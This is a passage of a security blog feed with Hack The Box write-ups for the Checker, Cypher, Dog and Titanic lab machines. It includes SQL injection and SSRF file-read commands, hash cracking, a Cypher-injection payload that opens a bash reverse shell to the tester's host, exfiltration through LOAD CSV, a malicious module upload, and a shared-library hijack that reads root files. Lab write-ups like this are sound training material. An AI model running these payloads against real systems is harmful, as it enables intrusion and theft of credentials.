2025-02-28 21:34:00.608379394 +0000 Birth: 2025-02-28 21:34:00.181712686 +0000 </code></pre> <p>So the last that the image was modified is in 2024-06-12, so the version of teampass should be before this date, after looking for a release of Teampass before this date I found this version <img src="20250228213859.png" alt="" /> I looked in Snyk for any CVE that affect this version and found a lot, one of them is an unauthenticated SQL injection due to improper input sanitization <a href="https://security.snyk.io/vuln/SNYK-PHP-NILSTEAMPASSNETTEAMPASS-3367612">CVE-2023-1545</a> <img src="20250228221709.png" alt="" /> I ran that POC and got these hashes:</p> <pre><code>./exploit.sh http://checker.htb:8080/ There are 2 users in the system: admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy </code></pre> <h2>Cracking hashes with John the ripper</h2> <p>The <code>$2y</code> indicates that the passwords are hashed using <code>bcrypt $2*$, Blowfish (Unix)</code>, so I used John to crack them</p> <pre><code>sudo john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt </code></pre> <p>I cracker Bob's password successfully</p> <pre><code>bob:cheerleader </code></pre> <p>I logged in to Teampass and found two saved passwords, a Book Stack login and an ssh access. <img src="20250228223543.png" alt="" /> Oh, SSH an SSH credentials <img src="20250228223835.png" alt="" /> The user is called <code>Reader</code>. I tried to connect with those creds via SSH, but there is a verification code, which means that the user reader is using multi factor authentication <img src="20250228224431.png" alt="" /> But we have also the Book Stack creads, I used them to login to bob's account <img src="20250228232059.png" alt="" /></p> <h2>CVE-2023-6199</h2> <p>Do you remember the authenticated CVE we found earlier on this version of Book Stack, now we can use it. after reading this article <strong>https://fluidattacks.com/advisories/imagination/</strong> . I tried to confirm if the vulnerability really exists <img src="20250228234631.png" alt="" /></p> <pre><code>$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.11.56 - - [28/Feb/2025 23:50:19] code 404, message File not found 10.10.11.56 - - [28/Feb/2025 23:50:19] "GET /image.png HTTP/1.1" 404 - </code></pre> <p>I received two responses from the server, which confirm the presence of an SSRF vulnerability. Now, we need to exploit it to read local files from the server. I found an article titled <a href="https://fluidattacks.com/blog/lfr-via-blind-ssrf-book-stack/?utm_source=mailing&amp;utm_medium=activecampaign&amp;utm_campaign=blognov22">LFR via SSRF in BookStack</a>, which explains how the SSRF was discovered and escalated to filter the contents of arbitrary files using the <code>php://</code> wrapper. This was achieved by applying a simple modification to the <a href="https://github.com/synacktiv/php_filter_chains_oracle_exploit">php_filter_chains_oracle_exploit</a>.</p> <p>I modified the script to suit my needs, and you can find my version here: <a href="https://github.com/AbdrrahimDahmani/php_filter_chains_oracle_exploit_for_CVE-2023-6199">my modified code</a>.</p> <h2>Filter Chain Oracle Exploit</h2> <p>I tried to run the script and read /etc/passwd</p> <pre><code>$ python3 filters_chain_oracle_exploit.py --parameter html --headers '{"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN":"waQegWWiyvDB8J5DwQz7nhSwZojMfbvGJEIXEDEA","Cookie":"bookstack_session=eyJpdiI6IkUydFZxM3Z4aHZxSVJlNXRjcGVqUXc9PSIsInZhbHVlIjoiQS9FL2xzUTNYS3N1OEFCaTl5aXVXZ1hINGFZME5Rd1l4VjVicVhEUzdBeHZvMG5tdFJOejVjNUpjaWhXd2s2WGg2dnBXZW8vMGxOQUxUWHpGS216cTh1OXRnR1MyOE5UVVRXdENDK0RzU3BqYmVSMGlEcThUeHBWRXdzWUN5WlUiLCJtYWMiOiJjYjQ5YTVlN2I4NWE1ZDIxN2NjZTRhY2QxNzFlZDYzMGRlZmIwZDc0MzQ0ZTc2NjVlYTkyMzQxNzVmMzQ4M2FiIiwidGFnIjoiIn0%3D"}' --verb PUT --proxy http://localhost:8010 --target http://checker.htb/ajax/page/9/save-draft --file '/etc/passwd' [*] The following URL is targeted : http://checker.htb/ajax/page/9/save-draft [*] The following local file is leaked : /etc/passwd [*] Running PUT requests [*] Additionnal headers used : {"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN":"waQegWWiyvDB8J5DwQz7nhSwZojMfbvGJEIXEDEA","Cookie":"bookstack_session=eyJpdiI6IkUydFZxM3Z4aHZxSVJlNXRjcGVqUXc9PSIsInZhbHVlIjoiQS9FL2xzUTNYS3N1OEFCaTl5aXVXZ1hINGFZME5Rd1l4VjVicVhEUzdBeHZvMG5tdFJOejVjNUpjaWhXd2s2WGg2dnBXZW8vMGxOQUxUWHpGS216cTh1OXRnR1MyOE5UVVRXdENDK0RzU3BqYmVSMGlEcThUeHBWRXdzWUN5WlUiLCJtYWMiOiJjYjQ5YTVlN2I4NWE1ZDIxN2NjZTRhY2QxNzFlZDYzMGRlZmIwZDc0MzQ0ZTc2NjVlYTkyMzQxNzVmMzQ4M2FiIiwidGFnIjoiIn0%3D"} </code></pre> <p>It worked, and I read partially the /etc/passwd file, then I tried to read the flag from <code>/home/reader/user.txt</code>, but no luck.</p> <p>I kept digging for a while and while I was reading the books published by bob I stumbled on this interesting folder the user created: <img src="20250228195708.png" alt="" /></p> <pre><code>$ python3 filters_chain_oracle_exploit.py --parameter html --headers '{"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN":"waQegWWiyvDB8J5DwQz7nhSwZojMfbvGJEIXEDEA","Cookie":"bookstack_session=eyJpdiI6IkUydFZxM3Z4aHZxSVJlNXRjcGVqUXc9PSIsInZhbHVlIjoiQS9FL2xzUTNYS3N1OEFCaTl5aXVXZ1hINGFZME5Rd1l4VjVicVhEUzdBeHZvMG5tdFJOejVjNUpjaWhXd2s2WGg2dnBXZW8vMGxOQUxUWHpGS216cTh1OXRnR1MyOE5UVVRXdENDK0RzU3BqYmVSMGlEcThUeHBWRXdzWUN5WlUiLCJtYWMiOiJjYjQ5YTVlN2I4NWE1ZDIxN2NjZTRhY2QxNzFlZDYzMGRlZmIwZDc0MzQ0ZTc2NjVlYTkyMzQxNzVmMzQ4M2FiIiwidGFnIjoiIn0%3D"}' --verb PUT --proxy http://localhost:8010 --target http://checker.htb/ajax/page/9/save-draft --file '/backup/home_backup/home/reader/.google_authenticator' [*] The following URL is targeted : http://checker.htb/ajax/page/9/save-draft [*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator [*] Running PUT requests [*] Additionnal headers used : {"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN":"waQegWWiyvDB8J5DwQz7nhSwZojMfbvGJEIXEDEA","Cookie":"bookstack_session=eyJpdiI6IkUydFZxM3Z4aHZxSVJlNXRjcGVqUXc9PSIsInZhbHVlIjoiQS9FL2xzUTNYS3N1OEFCaTl5aXVXZ1hINGFZME5Rd1l4VjVicVhEUzdBeHZvMG5tdFJOejVjNUpjaWhXd2s2WGg2dnBXZW8vMGxOQUxUWHpGS216cTh1OXRnR1MyOE5UVVRXdENDK0RzU3BqYmVSMGlEcThUeHBWRXdzWUN5WlUiLCJtYWMiOiJjYjQ5YTVlN2I4NWE1ZDIxN2NjZTRhY2QxNzFlZDYzMGRlZmIwZDc0MzQ0ZTc2NjVlYTkyMzQxNzVmMzQ4M2FiIiwidGFnIjoiIn0%3D"} </code></pre> <p>as output I got the google authenticator backup code</p> <pre><code>[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished! RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n' </code></pre> <p>Now I have the google authenticator backup code, I downloaded Google Authenticator on my phone, and inserted this code. then the verification codes started to be generated. I typed the verification code and authenticated successfully to reader account. <img src="20250228231908.png" alt="" /> The reason we could not read the user flag or the <code>.google_authenticator</code> file from <code>/home/reader/</code> is that they did not have read permissions for everyone</p> <pre><code>reader@checker:~$ ls -al user.txt .google_authenticator -r-------- 1 reader reader 39 Jun 14 2024 .google_authenticator -rw-r----- 1 root reader 33 Feb 28 18:53 user.txt reader@checker:~$ ls -al /backup/home_backup/home/reader/user.txt /backup/home_backup/home/reader/.google_authenticator -rw-r--r-- 1 root root 39 Jun 14 2024 /backup/home_backup/home/reader/.google_authenticator -rw-r--r-- 1 root root 33 Jun 14 2024 /backup/home_backup/home/reader/user.txt </code></pre> <h1>Privilege Escalation</h1> <p>First, I checked the sudo privileges for the user <code>reader</code> using: <code>sudo -l</code> <img src="20250301165826.png" alt="" /> It looks like the user <code>reader</code> has <code>sudo</code> privileges to run <code>check-leak.sh</code> without a password. Let's investigate the folder where <code>check-leak.sh</code> is located.</p> <pre><code>reader@checker:/opt/hash-checker$ ls -al total 68 drwxr-xr-x 2 root root 4096 Jan 30 17:09 . drwxr-xr-x 5 root root 4096 Jan 30 17:04 .. -r-------- 1 root root 118 Jan 30 17:07 .env -rwxr--r-- 1 root root 141 Jan 30 17:04 check-leak.sh -rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak -rwx------ 1 root root 750 Jan 30 17:07 cleanup.sh -rw-r--r-- 1 root root 1464 Jan 30 17:09 leaked_hashes.txt </code></pre> <pre><code>#!/bin/bash source `dirname $0`/.env USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]') /opt/hash-checker/check_leak "$USER_NAME" </code></pre> <p>The <code>check-leak.sh</code> file takes a username as an argument and runs the <code>check_leak</code> binary to check if the passwords of the username has been leaked or not. I ran that script with bob username, and got this response:</p> <pre><code>reader@checker:/opt/hash-checker$ sudo /opt/hash-checker/check-leak.sh bob Password is leaked! Using the shared memory 0xFA03C as temp location User will be notified via bob@checker.htb </code></pre> <p>Since <code>check_leak</code> is a compiled binary, I dumped it onto my local machine and opened it in <strong>Binary Ninja</strong> for reverse engineering. <img src="20250301171128.png" alt="" /></p> <ul> <li> <p>The program creates a shared memory segment with a predictable key (using <code>srand(time(NULL))</code> and <code>rand()</code>), writes a leaked hash into it, then sleeps for 1 second before clearing it.</p> </li> <li> <p>The shared memory has read/write permissions for all users (0o666), allowing any user to attach and modify it during the 1-second window.</p> </li> </ul> https://dahmanisec.me/posts/cypher/https://dahmanisec.me/posts/cypher/Hack The Box linux machine, medium difficultySun, 23 Mar 2025 00:00:00 GMT<h1>User Flag</h1> <h2>Nmap Scan</h2> <p>As always we start with an Nmap scan</p> <pre><code># Nmap 7.94SVN scan initiated Sat Mar 1 22:40:25 2025 as: nmap -Pn -p- -A --min-rate 5000 -oN scan.txt 10.10.11.57 Nmap scan report for 10.10.11.57 (10.10.11.57) Host is up (0.050s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA) |_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://cypher.htb/ |_http-server-header: nginx/1.24.0 (Ubuntu) Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5.0 OS details: Linux 5.0 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 1025/tcp) HOP RTT ADDRESS 1 50.10 ms 10.10.14.1 (10.10.14.1) 2 50.16 ms 10.10.11.57 (10.10.11.57) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Mar 1 22:40:50 2025 -- 1 IP address (1 host up) scanned in 24.89 seconds </code></pre> <p>I added <code>cypher.htb</code>to <code>/etc/hosts</code></p> <pre><code>echo -e "10.10.11.57\tcypher.htb" | sudo tee -a /etc/hosts 10.10.11.57 cypher.htb </code></pre> <h2>Directories enumeration</h2> <pre><code>$ ffuf -u http://cypher.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://cypher.htb/FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ about [Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 54ms] api [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 55ms] demo [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 63ms] index [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 114ms] login [Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 53ms] testing [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 53ms] :: Progress: [20476/20476] :: Job [1/1] :: 732 req/sec :: Duration: [0:00:41] :: Errors: 0 :: </code></pre> <h2>Exploring Exposed Artifacts and Identifying Vulnerabilities</h2> <p>By navigating to the testing folder I found jar file left exposed by someone <img src="image.png" alt="" /> I opened it with JD-GUI and found that it contains a class called CustomFunctions, which creates a custom Neo4j function named <strong>custom.getUrlStatusCode</strong>. It is designed to fetch the HTTP status code for a given URL. The function uses a shell command to execute curl and retrieves the status code. <img src="image1.png" alt="" /> I went back to the login page and started playing with the body of the request. By inserting a <code>'</code> inside the <code>username</code> object, I triggered an error that indicated a Neo4j syntax issue. The error message revealed that the application was constructing a Cypher query using the provided username and password, and the single quote caused a parsing failure in the query. The error specifically mentioned a syntax error due to an unclosed string literal, which suggests that the input was not being properly sanitized or escaped before being included in the query.</p> <h2>Exploiting Cypher injection</h2> <p><img src="20250302151410.png" alt="" /> This behavior points to a potential vulnerability to Cypher injection, similar to SQL injection, where malicious input could manipulate the query's logic. To exploit this further, I used a simple payload from <a href="https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits">Neo4jection: Secrets, Data, and Cloud Exploits</a> <img src="20250302150730.png" alt="" /></p> <pre><code>$ python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=USER HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=HASH HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=DNS_NAME HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=SHA1 HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=SCAN HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=ORG_STUB HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=IP_ADDRESS HTTP/1.1" 200 - </code></pre> <p>it's possible to retrieve the value of a property from the node if we treat it as a map: n[key], so we can use LOAD CSV to exfiltrate the data of the properties we got already <img src="20250302150654.png" alt="" /> And we got the values of the properties.</p> <pre><code>$ python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.11.57 - - [02/Mar/2025 14:33:26] "GET /?name=graphasm HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:33:45] "GET /?value=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:34:26] "GET /?host=211.255.9.117 HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?parent_uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?scope_distance=0 HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?scan=SCAN:eb3cf8eb641dd2e8005128c2fee4b43e59fd7785 HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?type=SCAN HTTP/1.1" 200 - 10.10.11.57 - - [02/Mar/2025 14:35:09] "GET /?web_spider_distance=0 HTTP/1.1" 200 - </code></pre> <p>we have the username <strong>graphasm</strong> and the SHA1 password hash, I tried to crack the hash but no luck.</p> <h2>Getting a reverse shell</h2> <p>Do you remember the jar file we found that creates the custom procedure, we can attempt to inject a reverse shell by calling this custom procedure. <img src="20250302175214.png" alt="" /> So I crafted a payload that calls the getUrlStatusCode procedure and inject a revshell</p> <pre><code>{ "username": "' Return 1 Union CALL custom.getUrlStatusCode('http://10.10.14.168:8000/ ; /bin/bash -c \"bash -i &gt;&amp; /dev/tcp/10.10.14.168/4444 0&gt;&amp;1\"') YIELD statusCode AS s RETURN 1 // ", "password": "anything" } </code></pre> <p><img src="20250303092812.png" alt="" /> I sent this request while I had a listener opened on port 4444, and got a revshell as neo4j</p> <h2>Lateral movement</h2> <p><img src="20250302194128.png" alt="" /> I typed neo4j --help and noticed this env variable called <strong>NEO4J_HOME</strong></p> <pre><code>neo4j@cypher:~$ cd $NEO4J_HOME cd $NEO4J_HOME neo4j@cypher:~$ ls -al ls -al total 68 drwxr-xr-x 15 neo4j adm 4096 Mar 3 10:18 . drwxr-xr-x 50 root root 4096 Feb 17 16:48 .. -rw-r--r-- 1 neo4j neo4j 63 Oct 8 18:07 .bash_history drwxr-xr-x 4 neo4j neo4j 4096 Mar 3 08:56 .bbot drwxrwxr-x 3 neo4j adm 4096 Oct 8 18:07 .cache drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 certificates drwxr-xr-x 3 neo4j neo4j 4096 Mar 3 08:56 .config drwxr-xr-x 6 neo4j adm 4096 Oct 8 18:07 data drwx------ 3 neo4j neo4j 4096 Mar 3 10:37 .gnupg drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 import drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 labs drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 licenses drwxr-xr-x 3 neo4j neo4j 4096 Mar 3 10:18 .local -rw-r--r-- 1 neo4j adm 52 Oct 2 15:55 packaging_info drwxr-xr-x 2 neo4j adm 4096 Mar 3 08:41 plugins drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 products drwxr-xr-x 2 neo4j adm 4096 Mar 3 07:41 run lrwxrwxrwx 1 neo4j adm 9 Oct 8 18:07 .viminfo -&gt; /dev/null neo4j@cypher:~$ </code></pre> <p>I found a .config folder that contains a folder bbolt that contains two files, <strong>bbot.yml</strong> and <strong>secrets.yml</strong> I looked for anything interesting inside these two files and found a credentials for Neo4j database.</p> <pre><code>$ tail secrets.yml &amp;&amp; echo # http: # username: '' # password: '' # websocket: # token: '' # splunk: # hectoken: '' # neo4j: # username: neo4j # password: bbotislife </code></pre> <p>I tried to access ssh as graphasm with this password but not luck. And, then I displayed the content of .bash_history and found some interesting stuff.</p> <pre><code>$ cat .bash_history neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK </code></pre> <p>The admin has set a initial password to neo4j. Again, I tried to access ssh as graphasm with this password and I succeded <img src="20250303105527.png" alt="" /></p> <h1>Privilege escalation</h1> <p>Let's check what <code>graphasm</code> can run with <code>sudo</code>:</p> <pre><code>$ graphasm@cypher:~$ sudo -l Matching Defaults entries for graphasm on cypher: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User graphasm may run the following commands on cypher: (ALL) NOPASSWD: /usr/local/bin/bbot </code></pre> <p>We can see that <code>graphasm</code> has <strong>passwordless sudo access</strong> to execute <code>/usr/local/bin/bbot</code>.</p> <p><code>bbot</code> is a multipurpose scanner built to automate <strong>Recon</strong>, <strong>Bug Bounties</strong>, and <strong>ASM</strong>.<br /> It allows loading and executing custom modules as well as loading custom YARA rules.<br /> We can exploit this feature to read the root flag.</p> <p>To achieve this, I executed the following command:</p> <pre><code>sudo bbot --custom-yara-rules=/root/root.txt --dry-run -d </code></pre> <ul> <li><code>--dry-run</code>: Prevents the scan from executing (useful for testing).</li> <li><code>-d</code>: Enables debug mode, allowing us to see the content of the imported YARA rule.</li> </ul> <p>By using this method, we can successfully read the root flag. <img src="20250303170732.png" alt="" /></p> https://dahmanisec.me/posts/dog/dog/https://dahmanisec.me/posts/dog/dog/Hack The Box linux machine, easy difficultyMon, 10 Mar 2025 00:00:00 GMT<h1>User Flag</h1> <h2>Nmap scan:</h2> <pre><code># Nmap 7.95 scan initiated Sat Mar 8 22:34:48 2025 as: /usr/lib/nmap/nmap -Pn -p- -A --min-rate 5000 -oN scan.txt 10.10.11.58 Warning: 10.10.11.58 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.11.58 (10.10.11.58) Host is up (0.11s latency). Not shown: 64794 closed tcp ports (reset), 739 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA) | 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA) |_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-git: | 10.10.11.58:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: todo: customize url aliases. reference:https://docs.backdro... |_http-server-header: Apache/2.4.41 (Ubuntu) | http-robots.txt: 22 disallowed entries (15 shown) | /core/ /profiles/ /README.md /web.config /admin | /comment/reply /filter/tips /node/add /search /user/register |_/user/password /user/login /user/logout /?q=admin /?q=comment/reply |_http-generator: Backdrop CMS 1 (https://backdropcms.org) |_http-title: Home | Dog Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 199/tcp) HOP RTT ADDRESS 1 104.57 ms 10.10.14.1 (10.10.14.1) 2 198.47 ms 10.10.11.58 (10.10.11.58) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Mar 8 22:35:50 2025 -- 1 IP address (1 host up) scanned in 62.54 seconds </code></pre> <p>I added <code>dog.htb</code>to <code>/etc/hosts</code></p> <pre><code>echo -e "10.10.11.58\tdog.htb" | sudo tee -a /etc/hosts 10.10.11.58 dog.htb </code></pre> <p>From the Nmap scan, we can see that the <code>.git</code> folder of the website is exposed. I dumped it using <strong>git-dumper</strong>:</p> <pre><code>git-dumper http://dog.htb ./output </code></pre> <p>After finishing the dump, I started analyzing the dumped project.<br /> The project is using <strong>Backdrop CMS</strong>, and I noticed a <code>settings.php</code> file that includes some user credentials for SQL commands. <img src="1.png" alt="" /> I tried logging in as <strong>root</strong> using the password <code>BackDropJ2024DS2024</code>, but it didn't work.<br /> I continued searching for any interesting information and, after a while, found that the <strong>Backdrop CMS version</strong> is <code>1.27.1</code>. I also discovered a <strong>user</strong> named <code>Tiffany</code>. <img src="2.png" alt="" /> I tried to login with <code>tiffany</code> using the password I already found and I succeeded <img src="4.png" alt="" /> I'm in as tiffany <img src="5.png" alt="" /> The <strong>1.27.1</strong> version of Backdrop CMS is vulnerable to an <strong>authenticated RCE</strong> through the upload of a malicious module. I used <a href="https://www.exploit-db.com/exploits/52021">this script</a> from <strong>Exploit-DB</strong> to generate a malicious module and modified it to compress the file as a <strong>tar archive</strong>, since the <strong>Zip PHP extension</strong> is not enabled on the server.</p> <pre><code>$ python3 exploit.py http://dog.htb/ Backdrop CMS 1.27.1 - Remote Command Execution Exploit Evil module generating... Evil module generated! shell.tar Go to http://dog.htb//?q=admin/modules/install and upload the shell.tar for Manual Installation. Your shell address: http://dog.htb//modules/shell/shell.php </code></pre> <p>I uploaded the <code>shell.tar</code>file as a module. <img src="6.png" alt="" /> Then, I navigated to <code>http://dog.htb/modules/shell/shell.php</code>. <img src="7.png" alt="" /> I executed the command <code>cat /etc/passwd</code> to check for available users. <img src="3.png" alt="" /> The user <strong>www-data</strong> does not have <code>/bin/bash</code>, so obtaining a reverse shell directly is not an option. However, I found two other users: <strong>jobert</strong> (UID 1000) and <strong>johncusack</strong> (UID 1001).<br /> I attempted to access SSH using these usernames with the MySQL password. I couldn't log in as <strong>jobert</strong>, but I successfully logged in as <strong>johncusack</strong>. <img src="8.png" alt="" /></p> <h1>Privilege escalation</h1> <p><strong>Johncusack</strong> has <strong>sudo</strong> permissions to run <strong>bee</strong>, a command-line utility for Backdrop CMS. <img src="9.png" alt="" /> I attempted to read the root flag using this command, but it failed. <img src="10.png" alt="" /> After some research, I found that the error could be resolved by setting the <code>--root</code> option to the location where Backdrop CMS is installed. I tried this approach and successfully retrieved the root flag. <img src="11.png" alt="" /></p> https://dahmanisec.me/posts/takedown/takedown/https://dahmanisec.me/posts/takedown/takedown/Fri, 07 Mar 2025 00:00:00 GMT<h1>Sherlock Scenario</h1> <p>We've identified an unusual pattern in our network activity, indicating a possible security breach. Our team suspects an unauthorized intrusion into our systems, potentially compromising sensitive data. Your task is to investigate this incident.</p> <p>They gave me a pcap file called <code>Takedown.pcap</code></p> <pre><code>sudo wireshark Takedown.pcap </code></pre> <p>:::tip Full writeup will be posted as soon as the machine expires. :::</p> https://dahmanisec.me/posts/titanic/https://dahmanisec.me/posts/titanic/Hack The Box linux machine, easy difficultySun, 23 Feb 2025 00:00:00 GMT<h1>Nmap Scan</h1> <p>First, I performed an Nmap scan to identify open ports and running services:</p> <pre><code>sudo nmap -sC -sV -T4 10.10.11.55 </code></pre> <p><img src="image.png" alt="nmap" /></p> <h2>Website Enumeration</h2> <p>While exploring the website, I found a <strong>Book Your Trip</strong> button that triggers a form submission.</p> <p><img src="image-1.png" alt="button" /></p> <p>After filling out the form and intercepting the request with <strong>BurpSuite</strong>, I followed the redirection and discovered an endpoint vulnerable to Path Trasversal: <code>/download?ticket=</code>.</p> <h2>Path Traversal Exploit</h2> <p>By attempting reading <strong>/etc/passwd</strong>, I found a user named <strong>developer</strong> <img src="image-2.png" alt="pathtraversal" /> and retrieved the user flag from:</p> <pre><code>/home/developer/user.txt </code></pre> <h2>Subdomain Discovery</h2> <p>I continued testing path traversal to access system files like <code>/etc/hosts</code>. I discovered a <strong>subdomain</strong> named <code>dev</code>.</p> <p><img src="image-3.png" alt="dev" /></p> <p>I added the subdomain to my <code>/etc/hosts</code> file</p> <h2>Exploiting Gitea for Credentials</h2> <p>The server was running <strong>Gitea</strong> in the dev subdomain. I started enumerating for its configuration file, and I found it:</p> <pre><code>curl -X GET "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini" </code></pre> <p><img src="image-4.png" alt="config" /></p> <p>By analyzing the configuration, I located the database at:</p> <pre><code>/data/gitea/gitea.db </code></pre> <p>accessed it using <strong>SQLite</strong>:</p> <pre><code>sqlite3 _home_developer_gitea_data_gitea_gitea.db </code></pre> <p><img src="image-5.png" alt="db" /></p> <h2>Cracking the Hash</h2> <p>By default, Gitea uses PBKDF2-HMAC-SHA256 with a high iteration count for password hashing. It stores the salt and password hash as hex-encoded values in separate columns within the database. However, Hashcat requires a single string with base64-encoded segments for cracking.</p> <p>So, I created a script that extracts user hashes from a Gitea SQLite database and converts them into a Hashcat-compatible format you can explore it here <a href="https://github.com/AbdrrahimDahmani/Gitea2Hashcat.git">Gitea2Hashcat</a>.</p> <pre><code>hashcat gitea.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user </code></pre> <p>and I retre=ived the password <img src="image-10.png" alt="alt text" /></p> <h2>SSH Access</h2> <p>Using the cracked password, I logged into the machine via SSH:</p> <pre><code>ssh developer@10.10.11.55 </code></pre> <h2>Privilege Escalation</h2> <p>While exploring the system, I found a script running as <strong>root</strong> at <code>/opt/scripts</code>:</p> <p><img src="image-7.png" alt="scripts" /></p> <p>The script used an <strong>ImageMagick</strong> version vulnerable to <strong>Arbitrary Code Execution</strong>. A quick Google search led me to this PoC:</p> <p><a href="https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8">Arbitrary Code Execution in <code>AppImage</code> version <code>ImageMagick</code></a></p> <pre><code>gcc -x c -shared -fPIC -o /opt/app/static/assets/images/libxcb.so.1 - &lt;&lt; EOF #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;unistd.h&gt; __attribute__((constructor)) void init(){ system("cat /root/root.txt &gt; /tmp/root44_flag.txt"); exit(0); } EOF touch test.jpg </code></pre> <h2>Retrieving the Root Flag</h2> <p>After triggering the exploit, I retrieved the <strong>root flag</strong> from <code>/tmp/root44_flag.txt</code>.</p> <p><img src="image-8.png" alt="win" /></p> https://dahmanisec.me/posts/tfc-ctf-2024/https://dahmanisec.me/posts/tfc-ctf-2024/Sun, 04 Aug 2024 00:00:00 GMT<h1>HE DID WHAT?! (forensics)</h1> <p>The challenge provided a log file containing some verbose events that I've noticed when dealing with the first forensics chall, they were related to remote command executions in PowerShell, identified by Event ID 4104. The first notable event, dated 07-12-2024, included a reversed Base64 string.</p> <p>I decoded the Base64 string using CyberChef, revealing the following command:</p> 